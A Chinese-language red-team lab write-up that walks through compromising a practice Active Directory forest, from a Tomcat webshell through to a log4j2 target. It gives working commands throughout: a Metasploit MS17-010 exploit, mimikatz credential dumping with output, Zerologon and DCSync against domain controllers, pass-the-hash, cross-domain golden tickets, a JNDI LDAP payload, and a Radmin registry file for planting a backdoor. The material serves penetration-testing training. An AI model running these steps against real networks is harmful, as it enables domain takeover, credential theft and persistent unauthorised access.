红队内网靶场
文章目錄
- 開篇介紹
- 靶場介紹
- 靶場下載以及配置
- Tomcat Get Shell
- 突破DMZ防火墻
- 拿下域內成員機器
- 將內網機器上線到CS
- 使用Adfind偵察子域信息
- 控制子域DC
- Radmin登錄子域進行權限維持(白銀票據/ACL)
- 子域bloodhound獲取父域信息分析
- 子域Krbtgt密鑰創建跨域金票Dcsync父域
- PTH父域DC準備打靶
- log4j2拿下靶標
- 總結
開篇介紹
大家好這里是虛構之人的紅隊內網靶場的第一個靶場,筆者發現網上的內網靶場不管是國外的HTB AD 101 系列還是國內的紅隊內網靶場跟實戰的環境下有這較大的差距因此很多同學就算練習完這些靶場也無法對 真實場景下滲透有自己的方法論,往往面試紅隊的時候缺少完整的滲透過程而很是尷尬,筆者打算開始做飛鳥 紅隊內網靶場系列,來讓各位同學擁有至少是完整的滲透過程經驗,這里不僅有完整的靶場也有完整的打法 過程可以學習,后續會陸續推出紅隊內網靶場以及安全運營相關靶場感興趣的小伙伴可以關注下。靶場介紹
這里筆者做的靶場是內網跨域靶場需要各位讀者通過Web進行GetShell突破DMZ然后 拿到子域權限跨域到父域拿下父域DC后找到父域下不入域機器Web GetShell靶標文件。 配置要求:最低要求是6核心CPU/32G內存整個靶場解壓后有130G左右。 主要涉及如下知識點:Tomcat 任意文件寫入漏洞,log4j2 JNDI注入漏洞,ms17-010,NetLogon-1472,Krbtgt跨域金票,白銀票據,ACL濫用。 使用的工具如下:burpsuite,mimikatz,Cobalt Strike,Metasploit,Impacket,fscan,frpJNDI exploit,nmap。 VM網卡配置以及網絡規劃 Vm網卡: VMent6 192.168.66.0/255.255.255.0 攻擊機/Web IP充當外部網絡 VMent7 192.168.77.0/255.255.255.0 Web DMZ VMent8 172.16.88.0/255.255.255.0 子域 VMent9 10.99.9.0/255.255.255.0 根域 網段: 192.168.66.1/24 充當外部網絡 192.168.77.1/24 Web 172.16.88.1/24 子域 10.99.9.1/24 根域 Web DMZ防火墻(pfSense)192.168.77.10 WEB DMZ網關172.16.88.10 子域網關 Web DMZ機器:192.168.77.110/192.168.66.110 Tomcat 域 DMZ防火墻:172.16.88.2 子域網關10.99.9.2 根域網關 子域:172.16.88.100/10.99.9.88 DC 172.16.88.120 FZ_DC 172.16.88.121 Win10 172.16.88.122 Web發布機 根域:10.99.9.100/172.16.88.10 DC 10.99.9.101 FZ_DC10.99.9.205 靶標 網絡規劃圖簡述:靶場下載以及配置
下載: 鏈接:https://pan.baidu.com/s/1YYj9jmBIuI49QvkFOS9uuQ 提取碼:3606
Tomcat Get Shell
攻擊機(linux)192.168.66.130 攻擊機(windows)192.168.66.129 這里筆者的環境是兩臺電腦配置VMent6網卡充當外部網絡,有能力的小伙伴也可以直接自己 搭建到真實的外部網絡上,這個靶場內默認的登錄賬戶是admin/admin小伙伴們也可以自行設置。 首先是進行信息收集目前只是指定192.168.66.110這個IP,下面開始進行信息收集。 使用nmap掃描發現開放了80/3389/445/135等端口,發現80端口是Tomcat服務 嘗試使用Tomcat任意文件上傳漏洞看看能不能拿到WebShell。 寫入哥斯拉WebShell。
突破DMZ防火墻
上面通過frp代理成功訪問到pfsense防火墻,pfsense防火墻是有漏洞可以打的,pfsense是屬于軟件防火墻 是可以進行配置修改繞過使得WebShell機器可以突破DMZ的,如果遇到的是網閘這種硬件型的那就比較難搞, 記住一句話沒有絕對安全系統,一定存在一個路徑是可以拿到靶標的只是你現在還不知道嘿嘿嘿奧里給干了兄弟們。 這里咱們直接嘗試pfsense防火墻的默認賬戶密碼"admin/pfsense". 登錄成功之后咱們看一下接口對網絡架構有個基本的了解。
拿下域內成員機器
Tomcat通過之前的nmap掃描發現是開放了3389端口,這里為了方便使用mimiktaz抓取本機賬戶密碼登錄3389, 如果是是實際場景的話該操作可能會觸發登錄告警因此不推薦這種方式可以使用todesk或者其他遠控進行登錄。 登錄成功發現確實是360直接退掉殺軟。 使用fscan掃描172.16.88.1/24,如果是真實場景的紅藍對抗中不建議使用fscan進行大規模掃描因為會打出成噸的告警, 很容易被防守方發現盡量還是要用常規的方式進行橫向比如SSH/瀏覽器賬戶密碼等 使用msf嘗試ms17-010攻擊命令:setg Proxies socks5:192.168.66.110:8055setg ReverseAllowProxy trueuse exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcpset rhost 172.16.88.122run 進入shell meterpreter > shell,發現目標機器在域內,看起來是在子域test.li.com 查詢域信任關系:nltest.exe /domain_trusts 可以看到test.li.com的父域是li.com且沒有其他子域信息,下面查詢下域控DC。 net group "Domain Controllers" /domain 查詢域管:net group "domain admins" /domain 查詢是否存在域管進程:tasklist /v 看起來似乎沒有域管進程,ms17-010的shell是System權限可以注入到域管進程進行Dcsync操作。將內網機器上線到CS
通過ms17-010打下了一臺域內機器,現在使用CS的Pivoting下Listener來生成上線Beacon, 需要注意的是Tomcat是雙網卡機器所以Listen Host要填寫為內網IP默認雙網卡機器CS的 是上線IP也就是外網Ip稍微注意下就行。 meterpreter upload上傳Beacon文件 上傳成功進入shell上線Beacon文件。使用Adfind偵察子域信息
咱們成功上線到了CS先看下有沒有殺軟: wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName,productState,pathToSignedProductExe | findstr /V /B /C:displayName || echo No Antivirus installed 發現沒有殺軟直接使用mimikatz抓下ntlm hash。[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command[+] host called home, sent: 787066 bytes[+] received output:Authentication Id : 0 ; 997 (00000000:000003e5)Session : Service from 0User Name : LOCAL SERVICEDomain : NT AUTHORITYLogon Server : (null)Logon Time : 2023/4/10 23:37:43SID : S-1-5-19msv : tspkg : wdigest : * Username : (null)* Domain : (null)* Password : (null)kerberos : * Username : (null)* Domain : (null)* Password : (null)ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4)Session : Service from 0User Name : WIN7-TEST-LI$Domain : TESTLogon Server : (null)Logon Time : 2023/4/10 23:37:43SID : S-1-5-20msv : [00000003] Primary* Username : WIN7-TEST-LI$* Domain : TEST* NTLM : 689828102235cee6f7480323ede6811c* SHA1 : 4aeae8aee6f5cd3e21759027321071930b539e70tspkg : wdigest : * Username : WIN7-TEST-LI$* Domain : TEST* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9kerberos : * Username : win7-test-li$* Domain : TEST.LI.COM* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9ssp : credman : Authentication Id : 0 ; 47238 (00000000:0000b886)Session : UndefinedLogonType from 0User Name : (null)Domain : (null)Logon Server : (null)Logon Time : 2023/4/10 23:37:43SID : msv : [00000003] Primary* Username : WIN7-TEST-LI$* Domain : TEST* NTLM : 689828102235cee6f7480323ede6811c* SHA1 : 4aeae8aee6f5cd3e21759027321071930b539e70tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7)Session : UndefinedLogonType from 0User Name : WIN7-TEST-LI$Domain : TESTLogon Server : (null)Logon Time : 2023/4/10 23:37:43SID : S-1-5-18msv : tspkg : wdigest : * Username : WIN7-TEST-LI$* Domain : TEST* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9kerberos : * Username : win7-test-li$* Domain : TEST.LI.COM* Password : <r'gawWqKlXM8_/HsF"t%-le!Yvv%U<*5g^sKo?=Ev-@0j=\+D=im63(J8qoTmDU/yyU=qX5<qIQcy0XplkIM\M@:&7uu>9*O^5!- :"iGfl<>gbG`5Q$"h9ssp : credman : 可以看到沒有抓到域用戶賬戶只抓到自身的機器賬戶,使用CS查看進程也沒有發現域賬戶進程下面使用Adfind偵察下域信息。 先用Adfind查詢下域信任關系因為當前沒有域賬戶需要用機器賬戶查詢ms17-010正好是System權限可以使用機器賬戶查詢 ldap信息,如果是本地管理員的話是無法查詢需要提權到System權限。 Adfind.exe -f objectclass=trusteddomain -dn 可以看到父域是li.com只有一個子域,這里在查詢下域內機器信息。 Adfind.exe -schema -s base objectversion 可以看到子域有兩臺2016一臺WIN7一臺WIN10,2016就是之前查詢到的域控機器。 因為當前只拿到了WIN7的機器賬戶查詢下WIN7機器賬戶的委派看看有沒有可以利用的。 Adfind查詢機器賬戶非約束委派:Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn Adfind查詢機器賬戶約束委派:Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto Adfind查詢機器賬戶基于資源約束委派: Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity Adfind查詢服務賬戶基于資源約束委派: Adfind.exe -b "DC=test,DC=li,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToAct OnBehalfOfotherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity 查詢下SPN看看有啥有價值的沒。 上面查詢委派發現并咱們現在控制的機器賬戶并沒有設置委派,現在有兩個思路一個打印機委派打法一個是域 CVE打法,第一種是打印機bug+NtlmRelay+基于資源約束委派,將輔助DC的Ldap進行Relay到主DC修改輔助DC的 msDS-AllowedToActOnBehalfOfOtherIdentity屬性的SID為WIN7機器賬戶進行請求輔助DC的cifs的TGS票據登錄 輔助DC控制子域,第二種是利用各種域內CVE如1472/4482/Windows Print Spooler/等漏洞進行攻擊DC,這里我才使 用第二種打法直接試下1472(不是我懶-。-)。控制子域DC
現在目前掌握的域內權限只有一臺WIN7的機器賬戶,根據上面的分析現在采用第二種打法直接嘗試重置DC 機器賬戶為空看看能否成功后進行Dcsync控制子域。 mimikatz使用Zerologon: target:域控IP account:域控機器賬號 lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /poc 下面進行利用,需要注意的是向Zerologon這種NetlogonRPC算法漏洞會導致大量的請求安全設備會直接告警, 因此在決定使用此類以及被安全產品寫規則的漏洞后要盡快橫向到靶標并設置域權限維持。 lsadump::zerologon /target:172.16.88.120 /account:2016-TEST-LI-DC$ /exploit 因為默認域控機器賬戶具有Dcsync功能,這里直接重置為空了咱們直接進行Dcsync控制子域這里我直接上frp開啟了二級代理, 方便我后續使用kali進行PTH操作,下面將frpc與frps上傳到WIN7跳板機上開啟下面是frpc與frps配置,上傳frps是因為可能 出現三級代理的情況所以就直接上傳了。 frpc.ini:[common]server_addr = 192.168.77.110server_port = 7000[socks5_172Socket]type = tcpplugin = socks5remote_port = 9999 [socks5_172_DC_0]type = tcplocal_ip = 127.0.0.1local_port = 9001remote_port = 1234 fprs.ini:[common]bind_port = 7000 使用Impacket下的secretsdump.py進行Dcsync操作。 python3 secretsdump.py '2016-TEST-LI-DC$@172.16.88.120' -no-pass 使用wmiexec和smbclient獲取shell以及上傳CS Beacon文件上線到CS。 proxychains python3 wmiexec.py administrator@172.16.88.120 -hashes 0:28168fb732f0fc371715a20026d83793
Radmin登錄子域進行權限維持(白銀票據/ACL)
在實戰中為了防止被防守方發現后踢出權限可以做權限維持,域權限的維持這里我選擇使用白銀票據和WriteDACL 來做域權限維持,可以制作兩臺DC的cifs服務TGS白銀票據來控制DC,在給一個低下權限賬戶或者自己創建一個低權限 賬戶配置一個對域的WriteDACL的權限,就算DC自身的服務賬戶都改了的情況下也能通過低權限賬戶的WriteDACL賦予 Dcsync權限重新制作白銀票據來控制DC,當然你使用黃金票據來做域權限維持也是可以的,但是黃金票據申請TGT的時候 會在KDC留下日志如果防守方設備監控了KDC日志那么就有可能被溯源,但是白銀票據只會在終端下留下日志因此也可以 制作除DC之外的白銀票據之后進行PTT利用重新獲取目標機器控制權,當然也有更隱秘的手段比如修改域控機器賬戶屬性 做委派的域權限維持也是可以的,大家玩靶場的時候可以自行去做,這里為了添加修改權限ACE方便我直接使用Radmin登錄 了,如果是實戰的話小伙伴也可以用powerview+Rights-GUID的方式添加ACE。 這里我講下為什么用Radmin登錄,首先操作比較方便類似于像是3389那種方式直接登錄而且可以自定義賬戶密碼,第二 如果有安全產品的ACL規則開啟RDP訪問或者訪問3389啥的可能會告警也可能直接防火墻屏蔽了3389啥的當然你可以本地 端口轉發到其他端口也是可以的,如果在原本開放3389的情況下,你RDP上去可能會把別人擠掉會察覺也很危險的操作, 這里我主要還是方便,下面我給大家簡單講講怎么使用Radmin吧。 下載: https://www.radmin.com/download/ 下載完成后的壓縮包解壓有兩個文件如下: 上傳成功之后大家可以用我的reg注冊表文件注冊這樣被控端默認密碼就是 SuShui/XuGouZhiRen Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin][HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0][HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server] @=""[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters] "NTAuthEnabled"=hex:00,00,00,00[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\NtUsers][HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security][HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Server\Parameters\Radmin Security\1] "1"=hex:10,00,00,0c,53,00,75,00,53,00,68,00,75,00,69,00,30,00,01,00,98,47,fc,\7e,0f,89,1d,fd,5d,02,f1,9d,58,7d,8f,77,ae,c0,b9,80,d4,30,4b,01,13,b4,06,f2,\3e,2c,ec,58,ca,fc,a0,4a,53,e3,6f,b6,8e,0c,3b,ff,92,cf,33,57,86,b0,db,e6,0d,\fe,41,78,ef,2f,cd,2a,4d,d0,99,47,ff,d8,df,96,fd,0f,9e,29,81,a3,2d,a9,55,03,\34,2e,ca,9f,08,06,2c,bd,d4,ac,2d,7c,df,81,0d,b4,db,96,db,70,10,22,66,26,1c,\d3,f8,bd,d5,6a,10,2f,c6,ce,ed,bb,a5,ea,e9,9e,61,27,bd,d9,52,f7,a0,d1,8a,79,\02,1c,88,1a,e6,3e,c4,b3,59,03,87,f5,48,59,8f,2c,b8,f9,0d,ea,36,fc,4f,80,c5,\47,3f,db,6b,0c,6b,db,0f,db,af,46,01,f5,60,dd,14,91,67,ea,12,5d,b8,ad,34,fd,\0f,d4,53,50,de,c7,2c,fb,3b,52,8b,a2,33,2d,60,91,ac,ea,89,df,d0,6c,9c,4d,18,\f6,97,24,5b,d2,ac,92,78,b9,2b,fe,7d,ba,fa,a0,c4,3b,40,a7,1f,19,30,eb,c4,fd,\24,c9,e5,a2,e5,a4,cc,f5,d7,f5,15,44,d7,0b,2b,ca,4a,f5,b8,d3,7b,37,9f,d7,74,\0a,68,2f,40,00,00,01,05,50,00,00,20,b3,3b,b8,42,13,f4,d7,a8,9e,19,b5,e3,c5,\57,9a,12,4e,6c,b0,8e,13,12,12,e2,e8,96,37,a4,65,a0,5a,07,60,00,01,00,7d,4a,\01,ba,15,d5,27,a3,aa,8d,ca,f1,f9,f7,b0,c5,e7,79,47,c3,3a,26,28,33,47,7d,d9,\7c,28,77,b8,ac,c5,5f,23,cd,90,a2,94,37,f8,64,f5,0c,08,f4,9e,ae,1c,b7,c5,c7,\ea,7a,09,6b,c9,c7,c6,43,d1,0d,bc,d4,d0,02,c8,71,bc,f1,e5,c7,f7,3d,1e,fa,cf,\6b,dd,c8,3f,7f,0e,56,7f,45,9a,51,a9,d6,23,43,c6,fd,1d,c8,70,8c,0a,f4,da,6b,\b6,87,d0,35,82,cf,21,55,76,f4,95,69,df,9d,b8,0c,92,fc,c1,e6,c9,3b,8e,5d,30,\6c,90,55,55,85,cb,69,17,14,76,2e,31,73,18,38,3a,0f,77,68,9b,a2,d3,7e,02,2a,\9d,8e,5e,1b,41,0b,36,6d,9e,9d,da,cc,fc,79,19,3e,4c,7e,60,67,56,67,22,6f,3b,\c8,cf,c6,38,2b,34,fb,bf,3e,97,92,a8,b8,b4,e1,92,92,6e,01,b0,2e,97,b5,16,ff,\60,e1,e6,73,9d,72,d7,34,a2,48,93,55,35,f0,fe,71,c4,66,c3,a0,7a,6e,9a,7d,08,\a8,b1,0f,c9,6b,ba,76,74,d3,31,b4,90,00,9d,48,60,61,46,60,17,9f,3a,e5,9e,cc,\40,ec,72,eb,20,00,00,04,ff,01,00,00[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared][HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Radmin\v3.0\Shared\Parameters] @="" "AutoSelectLangId"=hex:01,00,00,00 "LangId"=hex:00,00,00,00 保存為xxx.reg之后上傳到被控端執行如下命令添加該注冊表文件: 方式1 regedit /s xxx.reg 方式2(CS) shell C:\Windows\SysWOW64\regedit.exe /s C:\Users\Public\222.reg 這樣被控端的賬戶密碼就是SuShui/XuGouZhiRen 大家也可以直接導出
子域bloodhound獲取父域信息分析
現在對根域的域情況不是很清楚下面要進行信息收集使用bloodhound分析根域后進行跨域攻擊。 SharpHound.exe -d li.com
子域Krbtgt密鑰創建跨域金票Dcsync父域
上面咱們拿到了子域DC控制權正常攻防來說都是要進步信息收集找到靶標的,但是這里因為靶場是我搭建的所以我就知道 靶標是在父域下面其實這里咱們是可以訪問父域資源的我這里還是跨域攻擊然后在橫向到靶標這種方式來(不是刷路徑分-.-), 當然小伙伴們也可以根據自己的打法來玩。 Krbtgt跨域金票需要關閉SID過濾的情況下才行當然默認只有林中才會開啟SID過濾。 利用步驟: 1.使用mimikatz偽造新PAC為根域的Enterprise Admins(企業管理員組),并創建跨域黃金票據。 2.將創建好的跨域票據進行Dcsync或者,PTT(傳遞票據)申請根域cifs服務的TGS票據。 利用步驟1: 使用Adfind查詢下企業管理員組SID: Adfind.exe -b "CN=Enterprise Admins,CN=Users,DC=li,DC=com" objectSid mimikatz創建跨域金票: 清除當前票據kerberos::purge 注入跨域金票參數說明:sids:Enterprise Admins(企業管理員組)SID sid:當前域SIDdomain:當前域名krbtgt:NTLM Hash ptt:將票據注入當前內存kerberos::golden /user:administrator /sids:S-1-5-21-1219037115-404033701-4288556313-519 /sid:S-1-5-21-1554304197-1510085637-3326330895 /domain:test.li.com /krbtgt:91a07429bd05b231d1d19392bdf7a7a3 /ptt
PTH父域DC準備打靶
這里也為后續能夠訪問靶標做準備,咱們用frp做下3級代理上線到CS。
log4j2拿下靶標
相信大家很眼熟是vulfcous下的log4j2靶場這就是咱們的靶標拿下這個的shell就是拿到靶標了, 廢話不多說直接上開打。 JNDI利用工具下載: https://github.com/Jeromeyoung/JNDIExploit-1 已經編譯好的jar文件: https://github.com/Mr-xn/JNDIExploit-1 支持的格式查看: java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 這里父域沒有java環境咱們將java-jre-8u172上傳一個用/s做靜默安裝,我這里使用smbclient.py傳輸的 能快一些,如果使用CS上傳非常慢,這也是在實戰中很頭疼的問題那就是裝環境哈哈。 這里有點亂碼可以在wmiexec加上-codec gbk解決亂碼。 JNDI利用exp: ${jndi:ldap://10.99.9.101:7777/TomcatBypass/TomcatEcho} 成功拿到靶標:總結
本靶場是紅隊內網跨域靶場第一彈下面幾個跨域靶場會陸續加上vCenter/Kubernetes/gitlab/ADCS/exchange/等常見系統, 也會陸續做安全運營相關靶場從防守方視角反推紅隊攻擊路徑逆向分析木馬IoC排查終端木馬編寫相關報告,如果大家對靶場 系列感興趣的話歡迎關注。總結
- 上一篇: IDEA一致卡在build时间过长问题处
- 下一篇: 京东疯狂月薪36k程序员最新Java面试